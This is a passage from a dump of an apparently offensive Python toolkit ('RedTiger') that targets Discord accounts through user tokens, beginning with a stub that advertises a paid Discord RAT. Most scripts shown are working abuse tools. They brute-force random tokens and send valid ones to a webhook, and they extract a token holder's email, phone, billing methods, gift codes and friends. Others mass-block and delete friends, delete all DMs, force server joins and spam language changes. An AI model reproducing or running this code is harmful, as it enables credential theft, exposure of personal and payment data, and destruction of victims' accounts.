7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Rat Discord (Premium)")
19 |
20 | try:
21 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} This product is paid for and available on our website.")
22 | webbrowser.open_new_tab(f"https://{website}")
23 | Continue()
24 | Reset()
25 | except Exception as e:
26 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Server-Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import requests
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Server Info")
20 |
21 | try:
22 | Slow(discord_banner)
23 | invite = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Server Invitation -> {reset}")
24 | try:
25 | invite_code = invite.split("/")[-1]
26 | except:
27 | invite_code = invite
28 |
29 | response = requests.get(f"https://discord.com/api/v9/invites/{invite_code}")
30 |
31 | if response.status_code == 200:
32 | api = response.json()
33 |
34 | type_value = api.get('type', "None")
35 | code_value = api.get('code', "None")
36 | inviter_info = api.get('inviter', {})
37 | inviter_id = inviter_info.get('id', "None")
38 | inviter_username = inviter_info.get('username', "None")
39 | inviter_avatar = inviter_info.get('avatar', "None")
40 | inviter_discriminator = inviter_info.get('discriminator', "None")
41 | inviter_public_flags = inviter_info.get('public_flags', "None")
42 | inviter_flags = inviter_info.get('flags', "None")
43 | inviter_banner = inviter_info.get('banner', "None")
44 | inviter_accent_color = inviter_info.get('accent_color', "None")
45 | inviter_global_name = inviter_info.get('global_name', "None")
46 | inviter_banner_color = inviter_info.get('banner_color', "None")
47 | expires_at = api.get('expires_at', "None")
48 | flags = api.get('flags', "None")
49 | server_info = api.get('guild', {})
50 | server_id = server_info.get('id', "None")
51 | server_name = server_info.get('name', "None")
52 | server_icon = server_info.get('icon', "None")
53 | server_features = server_info.get('features', "None")
54 | if server_features != "None":
55 | server_features = ' / '.join(server_features)
56 | server_verification_level = server_info.get('verification_level', "None")
57 | server_nsfw_level = server_info.get('nsfw_level', "None")
58 | server_descritpion = server_info.get('description', "None")
59 | server_nsfw = server_info.get('nsfw', "None")
60 | server_premium_subscription_count = server_info.get('premium_subscription_count', "None")
61 | channel_info = api.get('channel', {})
62 | channel_id = channel_info.get('id', "None")
63 | channel_type = channel_info.get('type', "None")
64 | channel_name = channel_info.get('name', "None")
65 | else:
66 | ErrorUrl()
67 |
68 | print(f"""{red}
69 | Invitation Information:
70 | {INFO_ADD} Invitation : {white}{invite}{red}
71 | {INFO_ADD} Type : {white}{type_value}{red}
72 | {INFO_ADD} Code : {white}{code_value}{red}
73 | {INFO_ADD} Expired : {white}{expires_at}{red}
74 | {INFO_ADD} Server ID : {white}{server_id}{red}
75 | {INFO_ADD} Server Name : {white}{server_name}{red}
76 | {INFO_ADD} Channel ID : {white}{channel_id}{red}
77 | {INFO_ADD} Channel Name : {white}{channel_name}{red}
78 | {INFO_ADD} Channel Type : {white}{channel_type}{red}
79 | {INFO_ADD} Server Description : {white}{server_descritpion}{red}
80 | {INFO_ADD} Server Icon : {white}{server_icon}{red}
81 | {INFO_ADD} Server Features : {white}{server_features}{red}
82 | {INFO_ADD} Server NSFW Level : {white}{server_nsfw_level}{red}
83 | {INFO_ADD} Server NSFW : {white}{server_nsfw}{red}
84 | {INFO_ADD} Flags : {white}{flags}{red}
85 | {INFO_ADD} Server Verification Level : {white}{server_verification_level}{red}
86 | {INFO_ADD} Server Premium Subscription Count : {white}{server_premium_subscription_count}{red}
87 | """)
88 |
89 | if inviter_info:
90 | print(f""" {red}Inviter Information:
91 | {INFO_ADD} ID : {white}{inviter_id}{red}
92 | {INFO_ADD} Username : {white}{inviter_username}{red}
93 | {INFO_ADD} Global Name : {white}{inviter_global_name}{red}
94 | {INFO_ADD} Avatar : {white}{inviter_avatar}{red}
95 | {INFO_ADD} Discriminator : {white}{inviter_discriminator}{red}
96 | {INFO_ADD} Public Flags : {white}{inviter_public_flags}{red}
97 | {INFO_ADD} Flags : {white}{inviter_flags}{red}
98 | {INFO_ADD} Banner : {white}{inviter_banner}{red}
99 | {INFO_ADD} Accent Color : {white}{inviter_accent_color}{red}
100 | {INFO_ADD} Banner Color : {white}{inviter_banner_color}{red}
101 | """)
102 | Continue()
103 | Reset()
104 | except Exception as e:
105 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Block-Friends.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Block Friends")
20 |
21 | try:
22 | Slow(discord_banner)
23 | token = Choice1TokenDiscord()
24 | r = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token, 'Content-Type': 'application/json'})
25 | if r.status_code == 200:
26 | pass
27 | else:
28 | ErrorToken()
29 |
30 | def BlockFriends(token, friends):
31 | for friend in friends:
32 | try:
33 | requests.put(f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], headers={'Authorization': token}, json={"type": 2})
34 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Blocked{red} | User: {white}{friend['user']['username']}#{friend['user']['discriminator']}")
35 | except Exception as e:
36 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error: {e}{red}")
37 |
38 | friend_id = requests.get("https://discord.com/api/v9/users/@me/relationships", headers={'Authorization': token}).json()
39 | if not friend_id:
40 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} No friends found.")
41 | Continue()
42 | Reset()
43 |
44 | processes = []
45 | for friend in [friend_id[i:i+3] for i in range(0, len(friend_id), 3)]:
46 | t = threading.Thread(target=BlockFriends, args=(token, friend))
47 | t.start()
48 | processes.append(t)
49 | for process in processes:
50 | process.join()
51 | Continue()
52 | Reset()
53 | except Exception as e:
54 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Delete-Dm.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Delete Dm")
20 |
21 | try:
22 | Slow(discord_banner)
23 | token = Choice1TokenDiscord()
24 | r = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token, 'Content-Type': 'application/json'})
25 | if r.status_code == 200:
26 | pass
27 | else:
28 | ErrorToken()
29 |
30 | def DmDeleter(token, channels):
31 | for channel in channels:
32 | try:
33 | requests.delete(f'https://discord.com/api/v7/channels/'+channel['id'], headers={'Authorization': token})
34 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Delete{red} | Channel: {white}{channel['id']}")
35 | except Exception as e:
36 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error: {e}{red}")
37 |
38 | processes = []
39 | channel_id = requests.get("https://discord.com/api/v9/users/@me/channels", headers={'Authorization': token}).json()
40 | if not channel_id:
41 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} No dm found.")
42 | Continue()
43 | Reset()
44 |
45 | for channel in [channel_id[i:i+3] for i in range(0, len(channel_id), 3)]:
46 | t = threading.Thread(target=DmDeleter, args=(token, channel))
47 | t.start()
48 | processes.append(t)
49 | for process in processes:
50 | process.join()
51 | Continue()
52 | Reset()
53 | except Exception as e:
54 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Delete-Friends.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import threading
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Delete Friends")
20 |
21 | try:
22 | Slow(discord_banner)
23 | token = Choice1TokenDiscord()
24 | r = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token, 'Content-Type': 'application/json'})
25 | if r.status_code == 200:
26 | pass
27 | else:
28 | ErrorToken()
29 | def DeleteFriends(friends, token):
30 | for friend in friends:
31 | try:
32 | requests.delete(
33 | f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], headers={'Authorization': token})
34 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Delete{red} | User: {white}{friend['user']['username']}#{friend['user']['discriminator']}")
35 | except Exception as e:
36 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error: {e}{red}")
37 |
38 | if not requests.get("https://discord.com/api/v9/users/@me/relationships", headers={'Authorization': token, 'Content-Type': 'application/json'}).json():
39 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red}")
40 |
41 | processes = []
42 | friend_id = requests.get("https://discord.com/api/v9/users/@me/relationships", headers={'Authorization': token, 'Content-Type': 'application/json'}).json()
43 | if not friend_id:
44 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} No friends found.")
45 |
46 | for friend in [friend_id[i:i+3] for i in range(0, len(friend_id), 3)]:
47 | t = threading.Thread(target=DeleteFriends, args=(friend, token))
48 | t.start()
49 | processes.append(t)
50 | for process in processes:
51 | process.join()
52 | Continue()
53 | Reset()
54 | except Exception as e:
55 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Generator.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import string
15 | import requests
16 | import json
17 | import random
18 | import threading
19 | except Exception as e:
20 | ErrorModule(e)
21 |
22 | Title("Discord Token Generator")
23 |
24 | try:
25 | Slow(discord_banner)
26 | webhook = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook ? (y/n) -> {reset}")
27 | if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']:
28 | webhook_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook URL -> {reset}")
29 | CheckWebhook(webhook_url)
30 |
31 | try:
32 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
33 | except:
34 | ErrorNumber()
35 |
36 | def send_webhook(embed_content):
37 | payload = {
38 | 'embeds': [embed_content],
39 | 'username': username_webhook,
40 | 'avatar_url': avatar_webhook
41 | }
42 |
43 | headers = {
44 | 'Content-Type': 'application/json'
45 | }
46 |
47 | requests.post(webhook_url, data=json.dumps(payload), headers=headers)
48 |
49 | def token_check():
50 | first = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([24, 26])))
51 | second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([6])))
52 | third = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([38])))
53 | token = f"{first}.{second}.{third}"
54 |
55 | try:
56 | try:
57 | user = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token}).json()
58 | user['username']
59 | if webhook in ['y']:
60 | embed_content = {
61 | 'title': f'Token Valid !',
62 | 'description': f"**Token:**\n```{token}```",
63 | 'color': color_webhook,
64 | 'footer': {
65 | "text": username_webhook,
66 | "icon_url": avatar_webhook,
67 | }
68 | }
69 | send_webhook(embed_content)
70 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{color.GREEN} Token: {white}{token}{color.GREEN}")
71 | else:
72 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{color.GREEN} Token: {white}{token}{color.GREEN}")
73 | except:
74 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Invalid{red} Token: {white}{token}{red}")
75 | except:
76 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Error{red} Token: {white}{token}{red}")
77 |
78 | def request():
79 | threads = []
80 | try:
81 | for _ in range(int(threads_number)):
82 | t = threading.Thread(target=token_check)
83 | t.start()
84 | threads.append(t)
85 | except:
86 | ErrorNumber()
87 |
88 | for thread in threads:
89 | thread.join()
90 |
91 | while True:
92 | request()
93 | except Exception as e:
94 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-House-Changer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Discord Token House Changer")
19 |
20 | try:
21 | Slow(discord_banner)
22 | token = Choice1TokenDiscord()
23 | print(f"""
24 | {BEFORE}01{AFTER}{white} Bravery
25 | {BEFORE}02{AFTER}{white} Brilliance
26 | {BEFORE}03{AFTER}{white} Balance
27 | """)
28 |
29 | house = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} House -> {reset}").lstrip("0")
30 |
31 | response = requests.get('https://discordapp.com/api/v6/users/@me', headers={'Authorization': token, 'Content-Type': 'application/json'})
32 | if response.status_code != 200:
33 | ErrorToken()
34 | else:
35 | headers = {'Authorization': token, 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36'}
36 | if house in ["1", "01"]: payload = {'house_id': 1}
37 | elif house in ["2", "02"]: payload = {'house_id': 2}
38 | elif house in ["3", "03"]: payload = {'house_id': 3}
39 | else:
40 | ErrorChoice()
41 | r = requests.post('https://discordapp.com/api/v6/hypesquad/online', headers=headers, json=payload, timeout=10)
42 | if r.status_code == 204:
43 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Hypesquad house changed.")
44 | Continue()
45 | Reset()
46 | else:
47 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Hypesquad house has not changed.")
48 | except Exception as e:
49 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | from datetime import datetime, timezone
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Token Info")
20 |
21 | try:
22 | Slow(discord_banner)
23 | token_discord = Choice1TokenDiscord()
24 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
25 | try:
26 | api = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token_discord}).json()
27 |
28 | response = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token_discord, 'Content-Type': 'application/json'})
29 |
30 | if response.status_code == 200: status = "Valid"
31 | else: status = "Invalid"
32 |
33 | username_discord = api.get('username', "None") + '#' + api.get('discriminator', "None")
34 | display_name_discord = api.get('global_name', "None")
35 | user_id_discord = api.get('id', "None")
36 | email_discord = api.get('email', "None")
37 | email_verified_discord = api.get('verified', "None")
38 | phone_discord = api.get('phone', "None")
39 | mfa_discord = api.get('mfa_enabled', "None")
40 | country_discord = api.get('locale', "None")
41 | avatar_discord = api.get('avatar', "None")
42 | avatar_decoration_discord = api.get('avatar_decoration_data', "None")
43 | public_flags_discord = api.get('public_flags', "None")
44 | flags_discord = api.get('flags', "None")
45 | banner_discord = api.get('banner', "None")
46 | banner_color_discord = api.get('banner_color', "None")
47 | accent_color_discord = api.get("accent_color", "None")
48 | nsfw_discord = api.get('nsfw_allowed', "None")
49 |
50 | try: created_at_discord = datetime.fromtimestamp(((int(api.get('id', 'None')) >> 22) + 1420070400000) / 1000, timezone.utc)
51 | except: created_at_discord = "None"
52 |
53 | try:
54 | if api.get('premium_type', 'None') == 0:
55 | nitro_discord = 'False'
56 | elif api.get('premium_type', 'None') == 1:
57 | nitro_discord = 'Nitro Classic'
58 | elif api.get('premium_type', 'None') == 2:
59 | nitro_discord = 'Nitro Boosts'
60 | elif api.get('premium_type', 'None') == 3:
61 | nitro_discord = 'Nitro Basic'
62 | else:
63 | nitro_discord = 'False'
64 | except:
65 | nitro_discord = "None"
66 |
67 | try: avatar_url_discord = f"https://cdn.discordapp.com/avatars/{user_id_discord}/{api['avatar']}.gif" if requests.get(f"https://cdn.discordapp.com/avatars/{user_id_discord}/{api['avatar']}.gif").status_code == 200 else f"https://cdn.discordapp.com/avatars/{user_id_discord}/{api['avatar']}.png"
68 | except: avatar_url_discord = "None"
69 |
70 | try:
71 | linked_users_discord = api.get('linked_users', 'None')
72 | linked_users_discord = ' / '.join(linked_users_discord)
73 | if not linked_users_discord.strip():
74 | linked_users_discord = "None"
75 | except:
76 | linked_users_discord = "None"
77 |
78 | try:
79 | bio_discord = "\n" + api.get('bio', 'None')
80 | if not bio_discord.strip() or bio_discord.isspace():
81 | bio_discord = "None"
82 | except:
83 | bio_discord = "None"
84 |
85 | try:
86 | authenticator_types_discord = api.get('authenticator_types', 'None')
87 | authenticator_types_discord = ' / '.join(authenticator_types_discord)
88 | except:
89 | authenticator_types_discord = "None"
90 |
91 | try:
92 | guilds_response = requests.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', headers={'Authorization': token_discord})
93 | if guilds_response.status_code == 200:
94 | guilds = guilds_response.json()
95 | try:
96 | guild_count = len(guilds)
97 | except:
98 | guild_count = "None"
99 | try:
100 | owner_guilds = [guild for guild in guilds if guild['owner']]
101 | owner_guild_count = f"({len(owner_guilds)})"
102 | owner_guilds_names = []
103 | if owner_guilds:
104 | for guild in owner_guilds:
105 | owner_guilds_names.append(f"{guild['name']} ({guild['id']})")
106 | owner_guilds_names = "\n" + "\n".join(owner_guilds_names)
107 | except:
108 | owner_guild_count = "None"
109 | owner_guilds_names = "None"
110 | except:
111 | owner_guild_count = "None"
112 | guild_count = "None"
113 | owner_guilds_names = "None"
114 |
115 |
116 | try:
117 | billing_discord = requests.get('https://discord.com/api/v6/users/@me/billing/payment-sources', headers={'Authorization': token_discord}).json()
118 | if billing_discord:
119 | payment_methods_discord = []
120 |
121 | for method in billing_discord:
122 | if method['type'] == 1:
123 | payment_methods_discord.append('CB')
124 | elif method['type'] == 2:
125 | payment_methods_discord.append("Paypal")
126 | else:
127 | payment_methods_discord.append('Other')
128 | payment_methods_discord = ' / '.join(payment_methods_discord)
129 | else:
130 | payment_methods_discord = "None"
131 | except:
132 | payment_methods_discord = "None"
133 |
134 | try:
135 | friends = requests.get('https://discord.com/api/v8/users/@me/relationships', headers={'Authorization': token_discord}).json()
136 | if friends:
137 | friends_discord = []
138 | for friend in friends:
139 | unprefered_flags = [64, 128, 256, 1048704]
140 | data = f"{friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})"
141 |
142 | if len('\n'.join(friends_discord)) + len(data) >= 1024:
143 | break
144 |
145 | friends_discord.append(data)
146 |
147 | if len(friends_discord) > 0:
148 | friends_discord = '\n' + ' / '.join(friends_discord)
149 | else:
150 | friends_discord = "None"
151 | else:
152 | friends_discord = "None"
153 | except:
154 | friends_discord = "None"
155 |
156 | try:
157 | gift_codes = requests.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', headers={'Authorization': token_discord}).json()
158 | if gift_codes:
159 | codes = []
160 | for gift_codes_discord in gift_codes:
161 | name = gift_codes_discord['promotion']['outbound_title']
162 | gift_codes_discord = gift_codes_discord['code']
163 | data = f"Gift: {name}\nCode: {gift_codes_discord}"
164 | if len('\n\n'.join(gift_codes_discord)) + len(data) >= 1024:
165 | break
166 | gift_codes_discord.append(data)
167 | if len(gift_codes_discord) > 0:
168 | gift_codes_discord = '\n\n'.join(gift_codes_discord)
169 | else:
170 | gift_codes_discord = "None"
171 | else:
172 | gift_codes_discord = "None"
173 | except:
174 | gift_codes_discord = "None"
175 |
176 | except Exception as e:
177 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error when retrieving information: {white}{e}")
178 |
179 | print(f"""
180 | {INFO_ADD} Status : {white}{status}{red}
181 | {INFO_ADD} Token : {white}{token_discord}{red}
182 | {INFO_ADD} Username : {white}{username_discord}{red}
183 | {INFO_ADD} Display Name : {white}{display_name_discord}{red}
184 | {INFO_ADD} Id : {white}{user_id_discord}{red}
185 | {INFO_ADD} Created : {white}{created_at_discord}{red}
186 | {INFO_ADD} Country : {white}{country_discord}{red}
187 | {INFO_ADD} Email : {white}{email_discord}{red}
188 | {INFO_ADD} Verified : {white}{email_verified_discord}{red}
189 | {INFO_ADD} Phone : {white}{phone_discord}{red}
190 | {INFO_ADD} Nitro : {white}{nitro_discord}{red}
191 | {INFO_ADD} Linked Users : {white}{linked_users_discord}{red}
192 | {INFO_ADD} Avatar Decor : {white}{avatar_decoration_discord}{red}
193 | {INFO_ADD} Avatar : {white}{avatar_discord}{red}
194 | {INFO_ADD} Avatar URL : {white}{avatar_url_discord}{red}
195 | {INFO_ADD} Accent Color : {white}{accent_color_discord}{red}
196 | {INFO_ADD} Banner : {white}{banner_discord}{red}
197 | {INFO_ADD} Banner Color : {white}{banner_color_discord}{red}
198 | {INFO_ADD} Flags : {white}{flags_discord}{red}
199 | {INFO_ADD} Public Flags : {white}{public_flags_discord}{red}
200 | {INFO_ADD} NSFW : {white}{nsfw_discord}{red}
201 | {INFO_ADD} Multi-Factor Authentication : {white}{mfa_discord}{red}
202 | {INFO_ADD} Authenticator Type : {white}{authenticator_types_discord}{red}
203 | {INFO_ADD} Billing : {white}{payment_methods_discord}{red}
204 | {INFO_ADD} Gift Code : {white}{gift_codes_discord}{red}
205 | {INFO_ADD} Guilds : {white}{guild_count}{red}
206 | {INFO_ADD} Owner Guilds : {white}{owner_guild_count}{owner_guilds_names}{red}
207 | {INFO_ADD} Bio : {white}{bio_discord}{red}
208 | {INFO_ADD} Friend : {white}{friends_discord}{red}
209 | """)
210 | Continue()
211 | Reset()
212 | except Exception as e:
213 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Joiner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 |
19 | Title("Discord Token Joiner")
20 |
21 | try:
22 | def joiner(token, invite):
23 | invite_code = invite.split("/")[-1]
24 |
25 | try:
26 | response = requests.get(f"https://discord.com/api/v9/invites/{invite_code}")
27 | if response.status_code == 200:
28 | server_name = response.json().get('guild', {}).get('name')
29 | else:
30 | server_name = invite
31 | except:
32 | server_name = invite
33 |
34 | try:
35 | response = requests.post(f"https://discord.com/api/v9/invites/{invite_code}", headers={'Authorization': token})
36 |
37 | if response.status_code == 200:
38 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Joined{green} Server: {white}{server_name}{green}")
39 | else:
40 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error {response.status_code}{red} Server: {white}{server_name}{red}")
41 | except:
42 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Server: {white}{server_name}{red}")
43 |
44 | Slow(discord_banner)
45 | token = Choice1TokenDiscord()
46 | invite = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Server Invitation -> {reset}")
47 | joiner(token, invite)
48 | Continue()
49 | Reset()
50 | except Exception as e:
51 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Language-Changer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import time
16 | import random
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 | Title("Discord Token Language Changer")
21 |
22 | try:
23 | Slow(discord_banner)
24 | token = Choice1TokenDiscord()
25 | headers = {'Authorization': token, 'Content-Type': 'application/json'}
26 | r = requests.get('https://discord.com/api/v8/users/@me', headers=headers)
27 |
28 | if r.status_code == 200:
29 | try:
30 | amount = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Enter the number of cycles -> {reset}"))
31 | except:
32 | ErrorNumber()
33 |
34 | for i in range(amount):
35 | try:
36 | time.sleep(0.6)
37 | random_language = random.choice(['ja', 'zh-TW', 'ko', 'zh-CN', 'th', 'uk', 'ru', 'el', 'cs'])
38 | setting = {'locale': random_language}
39 | requests.patch("https://discord.com/api/v7/users/@me/settings", headers=headers, json=setting)
40 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status: {white}Changed{red} Language: {white}{random_language}{red}")
41 | except:
42 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Status: {white}Error{red} Language: {white}{random_language}{red}")
43 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Finish.")
44 | Continue()
45 | Reset()
46 | else:
47 | ErrorToken()
48 | except Exception as e:
49 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Token-Leaver.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
